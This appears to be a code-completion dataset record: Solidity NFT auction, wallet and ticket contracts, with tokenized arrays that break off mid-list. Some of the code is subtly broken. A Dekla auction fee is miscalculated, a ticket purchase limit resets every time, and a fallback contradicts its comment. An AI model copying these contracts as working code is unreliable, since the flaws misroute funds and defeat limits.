/// @param _tokenId - ID of the NFT on auction to cancel.
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyCLevel
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
_cancelAuction(_tokenId, auction.seller);
}
/// @dev Returns auction info for an NFT on auction.
/// @param _tokenId - ID of NFT on auction.
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint64 startedAt,
uint16 durationIndex,
uint64 auctionEndBlock,
uint256 startingPrice,
bool allowPayDekla
) {
Auction storage auction = tokenIdToAuction[_tokenId];
return (
auction.seller,
auction.startedAt,
auction.durationIndex,
auction.auctionEndBlock,
auction.startingPrice,
auction.allowPayDekla
);
}
function setSecondsPerBlock(uint256 secs) external onlyCEO {
secondsPerBlock = secs;
}
}
contract BiddingWallet is AccessControl {
//user balances is stored in this balances map and could be withdraw by owner at anytime
mapping(address => uint) public EthBalances;
mapping(address => uint) public DeklaBalances;
ERC20 public tokens;
//the limit of deposit and withdraw the minimum amount you can deposit is 0.05 eth
//you also have to have at least 0.05 eth
uint public EthLimit = 50000000000000000;
uint public DeklaLimit = 100;
uint256 public totalEthDeposit;
uint256 public totalDklDeposit;
event withdrawSuccess(address receiver, uint amount);
event cancelPendingWithdrawSuccess(address sender);
function getNonces(address _address) public view returns (uint256) {
return nonces[_address];
}
function setSystemAddress(address _systemAddress, address _tokenAddress) internal {
systemAddress = _systemAddress;
tokens = ERC20(_tokenAddress);
}
//user will be assign an equivalent amount of bidding credit to bid
function depositETH() payable external {
require(msg.value >= EthLimit);
EthBalances[msg.sender] = EthBalances[msg.sender] + msg.value;
totalEthDeposit = totalEthDeposit + msg.value;
}
function depositDekla(
uint256 _amount,
uint256 _fee,
bytes _signature,
uint256 _nonce)
external {
address sender = tokens.recoverSigner(_signature, address(this), _amount, _fee, _nonce);
tokens.transferPreSigned(_signature, address(this), _amount, _fee, _nonce);
DeklaBalances[sender] = DeklaBalances[sender] + _amount;
totalDklDeposit = totalDklDeposit + _amount;
}
function withdrawAmountHashing(uint256 _amount, uint256 _nonce) public pure returns (bytes32) {
return keccak256(abi.encodePacked(bytes4(0x486A0E9B), _amount, _nonce));
}
// Withdraw all available eth back to user wallet, need co-verify
function withdrawEth(
uint256 _amount,
bytes _sig
) external {
require(EthBalances[msg.sender] >= _amount);
bytes32 hashedTx = withdrawAmountHashing(_amount, nonces[msg.sender]);
require(signedBySystem(hashedTx, _sig));
EthBalances[msg.sender] = EthBalances[msg.sender] - _amount;
totalEthDeposit = totalEthDeposit - _amount;
msg.sender.transfer(_amount);
nonces[msg.sender]++;
emit withdrawSuccess(msg.sender, _amount);
}
// Withdraw all available dekla back to user wallet, need co-verify
function withdrawDekla(
uint256 _amount,
bytes _sig
) external {
require(DeklaBalances[msg.sender] >= _amount);
bytes32 hashedTx = withdrawAmountHashing(_amount, nonces[msg.sender]);
require(signedBySystem(hashedTx, _sig));
DeklaBalances[msg.sender] = DeklaBalances[msg.sender] - _amount;
totalDklDeposit = totalDklDeposit - _amount;
tokens.transfer(msg.sender, _amount);
nonces[msg.sender]++;
emit withdrawSuccess(msg.sender, _amount);
}
event valueLogger(uint256 value);
//bidding success tranfer eth to seller wallet
function winBidEth(
address winner,
address seller,
uint256 sellerProceeds,
uint256 auctioneerCut
) internal {
require(EthBalances[winner] >= sellerProceeds + auctioneerCut);
seller.transfer(sellerProceeds);
EthBalances[winner] = EthBalances[winner] - (sellerProceeds + auctioneerCut);
}
//bidding success tranfer eth to seller wallet
function winBidDekla(
address winner,
address seller,
uint256 sellerProceeds,
uint256 auctioneerCut
) internal {
require(DeklaBalances[winner] >= sellerProceeds + auctioneerCut);
tokens.transfer(seller, sellerProceeds);
DeklaBalances[winner] = DeklaBalances[winner] - (sellerProceeds + auctioneerCut);
}
function() public {
revert();
}
}
/// @title Reverse auction modified for siring
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract BiddingClockAuction is BiddingAuction, BiddingWallet {
address public prizeAddress;
uint256 public prizeCut = 100;
uint256 public tokenDiscount = 100;
// @dev Sanity check that allows us to ensure that we are pointing to the
// right auction in our setSiringAuctionAddress() call.
bool public isBiddingClockAuction = true;
modifier onlySystem() {
require(msg.sender == systemAddress);
_;
}
// Delegate constructor
constructor(
address _nftAddr,
address _tokenAddress,
address _prizeAddress,
address _systemAddress,
address _ceoAddress,
address _cfoAddress,
address _cooAddress)
public
BiddingAuction(_nftAddr) {
// validate address
require(_systemAddress != address(0));
require(_tokenAddress != address(0));
require(_ceoAddress != address(0));
require(_cooAddress != address(0));
require(_cfoAddress != address(0));
require(_prizeAddress != address(0));
setSystemAddress(_systemAddress, _tokenAddress);
ceoAddress = _ceoAddress;
cooAddress = _cooAddress;
cfoAddress = _cfoAddress;
prizeAddress = _prizeAddress;
}
/// @dev Creates and begins a new auction. Since this function is wrapped,
/// require sender to be PonyCore contract.
function createETHAuction(
uint256 _tokenId,
address _seller,
uint16 _durationIndex,
uint256 _startingPrice
)
external
{
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
uint64 auctionEndBlock = uint64((auctionDuration[_durationIndex] / secondsPerBlock) + block.number);
Auction memory auction = Auction(
_seller,
_durationIndex,
uint64(now),
auctionEndBlock,
_startingPrice,
false
);
_addAuction(_tokenId, auction);
}
function setCut(uint256 _prizeCut, uint256 _tokenDiscount)
external
{
require(msg.sender == address(nonFungibleContract));
require(_prizeCut + _tokenDiscount < ownerCut);
prizeCut = _prizeCut;
tokenDiscount = _tokenDiscount;
}
/// @dev Creates and begins a new auction. Since this function is wrapped,
/// require sender to be PonyCore contract.
function createDklAuction(
uint256 _tokenId,
address _seller,
uint16 _durationIndex,
uint256 _startingPrice
)
external
{
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
uint64 auctionEndBlock = uint64((auctionDuration[_durationIndex] / secondsPerBlock) + block.number);
Auction memory auction = Auction(
_seller,
_durationIndex,
uint64(now),
auctionEndBlock,
_startingPrice,
true
);
_addAuction(_tokenId, auction);
}
function getNonces(address _address) public view returns (uint256) {
return nonces[_address];
}
function auctionEndHashing(uint _amount, uint256 _tokenId) public pure returns (bytes32) {
return keccak256(abi.encodePacked(bytes4(0x486A0F0E), _tokenId, _amount));
}
function auctionEthEnd(address _winner, uint _amount, uint256 _tokenId, bytes _sig) public onlySystem {
bytes32 hashedTx = auctionEndHashing(_amount, _tokenId);
require(recover(hashedTx, _sig) == _winner);
Auction storage auction = tokenIdToAuction[_tokenId];
uint64 endblock = auction.auctionEndBlock;
require(endblock < block.number);
require(!auction.allowPayDekla);
uint256 prize = _amount * prizeCut / 10000;
uint256 auctioneerCut = _computeCut(_amount) - prize;
uint256 sellerProceeds = _amount - auctioneerCut;
winBidEth(_winner, auction.seller, sellerProceeds, auctioneerCut);
prizeAddress.transfer(prize);
_removeAuction(_tokenId);
_transfer(_winner, _tokenId);
emit AuctionSuccessful(_tokenId, _amount, _winner);
}
function auctionDeklaEnd(address _winner, uint _amount, uint256 _tokenId, bytes _sig) public onlySystem {
bytes32 hashedTx = auctionEndHashing(_amount, _tokenId);
require(recover(hashedTx, _sig) == _winner);
Auction storage auction = tokenIdToAuction[_tokenId];
uint64 endblock = auction.auctionEndBlock;
require(endblock < block.number);
require(auction.allowPayDekla);
uint256 prize = _amount * prizeCut / 10000;
uint256 discountAmount = _amount * tokenDiscount / 10000;
uint256 auctioneerCut = _computeCut(_amount) - discountAmount - prizeCut;
uint256 sellerProceeds = _amount - auctioneerCut;
winBidDekla(_winner, auction.seller, sellerProceeds, auctioneerCut);
tokens.transfer(prizeAddress, prize);
tokens.transfer(_winner, discountAmount);
_removeAuction(_tokenId);
_transfer(_winner, _tokenId);
emit AuctionSuccessful(_tokenId, _amount, _winner);
}
/// @dev Remove all Ether from the contract, which is the owner's cuts
/// as well as any Ether sent directly to the contract address.
/// Always transfers to the NFT contract, but can be called either by
/// the owner or the NFT contract.
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == nftAddress
);
nftAddress.transfer(address(this).balance - totalEthDeposit);
}
function withdrawDklBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == nftAddress
);
tokens.transfer(nftAddress, tokens.balanceOf(this) - totalDklDeposit);
}
}
/// @title all functions related to creating ponies
contract PonyMinting is PonyAuction {
// Limits the number of ponies the contract owner can ever create.
uint256 public constant PROMO_CREATION_LIMIT = 50;
uint256 public constant GEN0_CREATION_LIMIT = 4950;
// Counts the number of ponies the contract owner has created.
uint256 public promoCreatedCount;
uint256 public gen0CreatedCount;
/// @dev we can create promo ponies, up to a limit. Only callable by COO
/// @param _genes the encoded genes of the pony to be created, any value is accepted
/// @param _owner the future owner of the created ponies. Default to contract COO
function createPromoPony(uint256 _genes, address _owner) external onlyCOO {
address ponyOwner = _owner;
if (ponyOwner == address(0)) {
ponyOwner = cooAddress;
}
require(promoCreatedCount < PROMO_CREATION_LIMIT);
promoCreatedCount++;
_createPony(0, 0, 0, _genes, ponyOwner, 0);
}
/// @dev Creates a new gen0 Pony with the given genes and
/// creates an auction for it.
function createGen0(uint256 _genes, uint256 _price, uint16 _durationIndex, bool _saleDKL ) external onlyCOO {
require(gen0CreatedCount < GEN0_CREATION_LIMIT);
uint256 ponyId = _createPony(0, 0, 0, _genes, ceoAddress, 0);
_approve(ponyId, biddingAuction);
if(_saleDKL) {
biddingAuction.createDklAuction(ponyId, ceoAddress, _durationIndex, _price);
} else {
biddingAuction.createETHAuction(ponyId, ceoAddress, _durationIndex, _price);
}
gen0CreatedCount++;
}
}
contract PonyUpgrade is PonyMinting {
event PonyUpgraded(uint256 upgradedPony, uint256 tributePony, uint8 unicornation);
function upgradePonyHashing(uint256 _upgradeId, uint256 _txCount) public pure returns (bytes32) {
return keccak256(abi.encodePacked(bytes4(0x486A0E9D), _upgradeId, _txCount));
}
function upgradePony(uint256 _upgradeId, uint256 _tributeId, bytes _sig)
external
whenNotPaused
{
require(_owns(msg.sender, _upgradeId));
require(_upgradeId != _tributeId);
Pony storage upPony = ponies[_upgradeId];
bytes32 hashedTx = upgradePonyHashing(_upgradeId, upPony.txCount);
require(signedBySystem(hashedTx, _sig));
upPony.txCount += 1;
if (upPony.unicornation == 0) {
if (geneScience.upgradePonyResult(upPony.unicornation, block.number)) {
upPony.unicornation += 1;
emit PonyUpgraded(_upgradeId, _tributeId, upPony.unicornation);
}
}
else if (upPony.unicornation > 0) {
require(_owns(msg.sender, _tributeId));
if (geneScience.upgradePonyResult(upPony.unicornation, block.number)) {
upPony.unicornation += 1;
_transfer(msg.sender, address(0), _tributeId);
emit PonyUpgraded(_upgradeId, _tributeId, upPony.unicornation);
} else if (upPony.unicornation == 2) {
upPony.unicornation += 1;
_transfer(msg.sender, address(0), _tributeId);
emit PonyUpgraded(_upgradeId, _tributeId, upPony.unicornation);
}
}
}
}
/// @title EtherPonies: Collectible, breedable, and oh-so-adorable ponies on the Ethereum blockchain.
/// @author Dekla (https://www.dekla.io)
/// @dev The main EtherPonies contract, keeps track of ponies so they don't wander around and get lost.
contract PonyCore is PonyUpgrade {
event WithdrawEthBalanceSuccessful(address sender, uint256 amount);
event WithdrawDeklaBalanceSuccessful(address sender, uint256 amount);
// This is the main MyEtherPonies contract. In order to keep our code seperated into logical sections,
// we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts
// that handle auctions and our super-top-secret genetic combination algorithm. The auctions are
// seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping
// them in their own contracts, we can upgrade them without disrupting the main contract that tracks
// Pony ownership. The genetic combination algorithm is kept seperate so we can open-source all of
// the rest of our code without making it _too_ easy for folks to figure out how the genetics work.
// Don't worry, I'm sure someone will reverse engineer it soon enough!
//
// Secondly, we break the core contract into multiple files using inheritence, one for each major
// facet of functionality of CK. This allows us to keep related code bundled together while still
// avoiding a single giant file with everything in it. The breakdown is as follows:
//
// - PonyBase: This is where we define the most fundamental code shared throughout the core
// functionality. This includes our main data storage, constants and data types, plus
// internal functions for managing these items.
//
// - PonyAccessControl: This contract manages the various addresses and constraints for operations
// that can be executed only by specific roles. Namely CEO, CFO and COO.
//
// - PonyOwnership: This provides the methods required for basic non-fungible token
// transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721).
//
// - PonyBreeding: This file contains the methods necessary to breed ponies together, including
// keeping track of siring offers, and relies on an external genetic combination contract.
//
// - PonyAuctions: Here we have the public methods for auctioning or bidding on ponies or siring
// services. The actual auction functionality is handled in two sibling contracts (one
// for sales and one for siring), while auction creation and bidding is mostly mediated
// through this facet of the core contract.
//
// - PonyMinting: This final facet contains the functionality we use for creating new gen0 ponies.
// We can make up to 5000 "promo" ponies that can be given away (especially important when
// the community is new), and all others can only be created and then immediately put up
// for auction via an algorithmically determined starting price. Regardless of how they
// are created, there is a hard limit of 50k gen0 ponies. After that, it's all up to the
// community to breed, breed, breed!
// Set in case the core contract is broken and an upgrade is required
address public newContractAddress;
// ERC20 basic token contract being held
ERC20 public token;
/// @notice Creates the main EtherPonies smart contract instance.
constructor(
address _ceoAddress,
address _cfoAddress,
address _cooAddress,
address _systemAddress,
address _tokenAddress
) public {
// validate address
require(_ceoAddress != address(0));
require(_cooAddress != address(0));
require(_cfoAddress != address(0));
require(_systemAddress != address(0));
require(_tokenAddress != address(0));
// Starts paused.
paused = true;
// the creator of the contract is the initial CEO
ceoAddress = _ceoAddress;
cfoAddress = _cfoAddress;
cooAddress = _cooAddress;
systemAddress = _systemAddress;
token = ERC20(_tokenAddress);
// start with the mythical pony 0 - so we don't have generation-0 parent issues
_createPony(0, 0, 0, uint256(- 1), address(0), 0);
}
//check that the token is set
modifier validToken() {
require(token != address(0));
_;
}
function getTokenAddressHashing(address _token, uint256 _nonce) public pure returns (bytes32) {
return keccak256(abi.encodePacked(bytes4(0x486A1216), _token, _nonce));
}
function setTokenAddress(address _token, bytes _sig) external onlyCLevel {
bytes32 hashedTx = getTokenAddressHashing(_token, nonces[msg.sender]);
require(signedByCLevel(hashedTx, _sig));
nonces[msg.sender]++;
token = ERC20(_token);
}
/// @dev Used to mark the smart contract as upgraded, in case there is a serious
/// breaking bug. This method does nothing but keep track of the new contract and
/// emit a message indicating that the new address is set. It's up to clients of this
/// contract to update to the new contract address in that case. (This contract will
/// be paused indefinitely if such an upgrade takes place.)
/// @param _v2Address new address
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
// See README.md for updgrade plan
newContractAddress = _v2Address;
emit ContractUpgrade(_v2Address);
}
/// @notice No tipping!
/// @dev Reject all Ether from being sent here, unless it's from one of the
/// two auction contracts. (Hopefully, we can prevent user accidents.)
function() external payable {
}
/// @notice Returns all the relevant information about a specific Pony.
/// @param _id The ID of the Pony of interest.
function getPony(uint256 _id)
external
view
returns (
bool isGestating,
bool isReady,
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes,
uint16 upgradeIndex,
uint8 unicornation
) {
Pony storage pon = ponies[_id];
// if this variable is 0 then it's not gestating
isGestating = (pon.matingWithId != 0);
isReady = (pon.cooldownEndBlock <= block.number);
cooldownIndex = uint256(pon.cooldownIndex);
nextActionAt = uint256(pon.cooldownEndBlock);
siringWithId = uint256(pon.matingWithId);
birthTime = uint256(pon.birthTime);
matronId = uint256(pon.matronId);
sireId = uint256(pon.sireId);
generation = uint256(pon.generation);
genes = pon.genes;
upgradeIndex = pon.txCount;
unicornation = pon.unicornation;
}
/// @dev Override unpause so it requires all external contract addresses
/// to be set before contract can be unpaused. Also, we can't have
/// newContractAddress set either, because then the contract was upgraded.
/// @notice This is public rather than external so we can call super.unpause
/// without using an expensive CALL.
function unpause() public onlyCEO whenPaused {
require(geneScience != address(0));
require(newContractAddress == address(0));
// Actually unpause the contract.
super.unpause();
}
function withdrawBalanceHashing(address _address, uint256 _nonce) public pure returns (bytes32) {
return keccak256(abi.encodePacked(bytes4(0x486A1217), _address, _nonce));
}
function withdrawEthBalance(address _withdrawWallet, bytes _sig) external onlyCLevel {
bytes32 hashedTx = withdrawBalanceHashing(_withdrawWallet, nonces[msg.sender]);
require(signedByCLevel(hashedTx, _sig));
uint256 balance = address(this).balance;
// Subtract all the currently pregnant ponies we have, plus 1 of margin.
uint256 subtractFees = (pregnantPonies + 1) * autoBirthFee;
require(balance > 0);
require(balance > subtractFees);
nonces[msg.sender]++;
_withdrawWallet.transfer(balance - subtractFees);
emit WithdrawEthBalanceSuccessful(_withdrawWallet, balance - subtractFees);
}
function withdrawDeklaBalance(address _withdrawWallet, bytes _sig) external validToken onlyCLevel {
bytes32 hashedTx = withdrawBalanceHashing(_withdrawWallet, nonces[msg.sender]);
require(signedByCLevel(hashedTx, _sig));
uint256 balance = token.balanceOf(this);
require(balance > 0);
nonces[msg.sender]++;
token.transfer(_withdrawWallet, balance);
emit WithdrawDeklaBalanceSuccessful(_withdrawWallet, balance);
}
} | @dev Adds an auction to the list of open auctions. Also fires the AuctionCreated event. @param _tokenId The ID of the token to be put on auction. @param _auction Auction to add. | function _addAuction(uint256 _tokenId, Auction _auction) internal {
tokenIdToAuction[_tokenId] = _auction;
emit AuctionCreated(
uint256(_tokenId)
);
}
| 6,389,643 | [
1,
3655,
392,
279,
4062,
358,
326,
666,
434,
1696,
279,
4062,
87,
18,
8080,
29564,
326,
225,
432,
4062,
6119,
871,
18,
225,
389,
2316,
548,
1021,
1599,
434,
326,
1147,
358,
506,
1378,
603,
279,
4062,
18,
225,
389,
69,
4062,
432,
4062,
358,
527,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
1289,
37,
4062,
12,
11890,
5034,
389,
2316,
548,
16,
432,
4062,
389,
69,
4062,
13,
2713,
288,
203,
203,
3639,
1147,
28803,
37,
4062,
63,
67,
2316,
548,
65,
273,
389,
69,
4062,
31,
203,
203,
3639,
3626,
432,
4062,
6119,
12,
203,
5411,
2254,
5034,
24899,
2316,
548,
13,
203,
3639,
11272,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/43113/0x49E101b346621e5CE74C14DB2d8Be36C751bc4BA/sources/TicketNFT.sol | date 0 = date event, date 1 = date sell, date 2 = date buy | function createTicket(
uint256 _TicketID,
uint256 _EventID,
string memory _EventName,
uint256[] memory _date,
string memory _zone,
string memory _seat,
uint _priceSeat,
uint256 _limit,
string memory _metadata,
address _owner,
bool _isHold
) public payable returns(uint256) {
uint256 _gas = gasleft();
require(!hasBeenMinted[_metadata], "This metadata has already been used to mint an NFT.");
require(_date[1] > _date[2], "This Ticket is not for sell yet");
if (!_isHold) {
require(_priceSeat == msg.value, "You need to pay the correct price.");
require(UserLimit[msg.sender][_EventID] + 1 <= _limit, "You buy Ticket of this event to the limit");
uint _userlim = UserLimit[msg.sender][_EventID];
if (_userlim > 0) {
_userlim += 1;
_userlim = 1;
}
UserLimit[msg.sender][_EventID] = _userlim;
payable(_owner).transfer(msg.value);
}
MintTicket(_TicketID, _EventID, _EventName, _date[0], _zone, _seat, _priceSeat, _gas, _metadata, msg.sender);
return _TicketID;
}
| 13,181,668 | [
1,
712,
374,
273,
1509,
871,
16,
1509,
404,
273,
1509,
357,
80,
16,
1509,
576,
273,
1509,
30143,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
752,
13614,
12,
203,
3639,
2254,
5034,
389,
13614,
734,
16,
203,
3639,
2254,
5034,
389,
1133,
734,
16,
203,
3639,
533,
3778,
389,
24320,
16,
203,
3639,
2254,
5034,
8526,
3778,
389,
712,
16,
203,
3639,
533,
3778,
389,
3486,
16,
203,
3639,
533,
3778,
389,
307,
270,
16,
203,
3639,
2254,
389,
8694,
1761,
270,
16,
203,
3639,
2254,
5034,
389,
3595,
16,
203,
3639,
533,
3778,
389,
4165,
16,
203,
3639,
1758,
389,
8443,
16,
203,
3639,
1426,
389,
291,
20586,
203,
565,
262,
1071,
8843,
429,
1135,
12,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
389,
31604,
273,
16189,
4482,
5621,
203,
3639,
2583,
12,
5,
5332,
25931,
49,
474,
329,
63,
67,
4165,
6487,
315,
2503,
1982,
711,
1818,
2118,
1399,
358,
312,
474,
392,
423,
4464,
1199,
1769,
203,
3639,
2583,
24899,
712,
63,
21,
65,
405,
389,
712,
63,
22,
6487,
315,
2503,
22023,
353,
486,
364,
357,
80,
4671,
8863,
203,
3639,
309,
16051,
67,
291,
20586,
13,
288,
203,
5411,
2583,
24899,
8694,
1761,
270,
422,
1234,
18,
1132,
16,
315,
6225,
1608,
358,
8843,
326,
3434,
6205,
1199,
1769,
203,
5411,
2583,
12,
1299,
3039,
63,
3576,
18,
15330,
6362,
67,
1133,
734,
65,
397,
404,
1648,
389,
3595,
16,
315,
6225,
30143,
22023,
434,
333,
871,
358,
326,
1800,
8863,
203,
5411,
2254,
389,
1355,
7091,
273,
2177,
3039,
63,
3576,
18,
15330,
6362,
67,
1133,
734,
15533,
203,
5411,
309,
261,
67,
1355,
7091,
405,
374,
13,
288,
203,
2
]
|
./full_match/137/0xCF77e2E32EDDc54d29cF8BF106024b1012bFbcCC/sources/home/hellwolf/Projects/superfluid/protocol-monorepo/packages/ethereum-contracts/contracts/utils/CallUtils.sol | * @dev It the data encoded correctly with abi.encode(bytesData) Expected ABI Encode Layout: | word 1 | word 2 | word 3 | the rest... | data length | bytesData offset | bytesData length | bytesData + padLength32 zeros |/ bytes offset is always expected to be 32 the data length should be bytesData.length + 64 + padded bytes length | function isValidAbiEncodedBytes(bytes memory data) internal pure returns (bool) {
if (data.length < 64) return false;
uint bytesOffset;
uint bytesLen;
if (bytesOffset != 32) return false;
return data.length == 64 + padLength32(bytesLen);
}
| 4,754,775 | [
1,
7193,
326,
501,
3749,
8783,
598,
24126,
18,
3015,
12,
3890,
751,
13,
13219,
10336,
45,
6240,
9995,
30,
571,
2076,
404,
1377,
571,
2076,
576,
6647,
571,
2076,
890,
6647,
571,
326,
3127,
2777,
571,
501,
769,
571,
1731,
751,
1384,
571,
1731,
751,
769,
571,
1731,
751,
397,
4627,
1782,
1578,
4922,
571,
19,
1731,
1384,
353,
3712,
2665,
358,
506,
3847,
326,
501,
769,
1410,
506,
1731,
751,
18,
2469,
397,
5178,
397,
14426,
1731,
769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4908,
5895,
77,
10397,
2160,
12,
3890,
3778,
501,
13,
2713,
16618,
1135,
261,
6430,
13,
288,
203,
3639,
309,
261,
892,
18,
2469,
411,
5178,
13,
327,
629,
31,
203,
3639,
2254,
1731,
2335,
31,
203,
3639,
2254,
1731,
2891,
31,
203,
3639,
309,
261,
3890,
2335,
480,
3847,
13,
327,
629,
31,
203,
3639,
327,
501,
18,
2469,
422,
5178,
397,
4627,
1782,
1578,
12,
3890,
2891,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
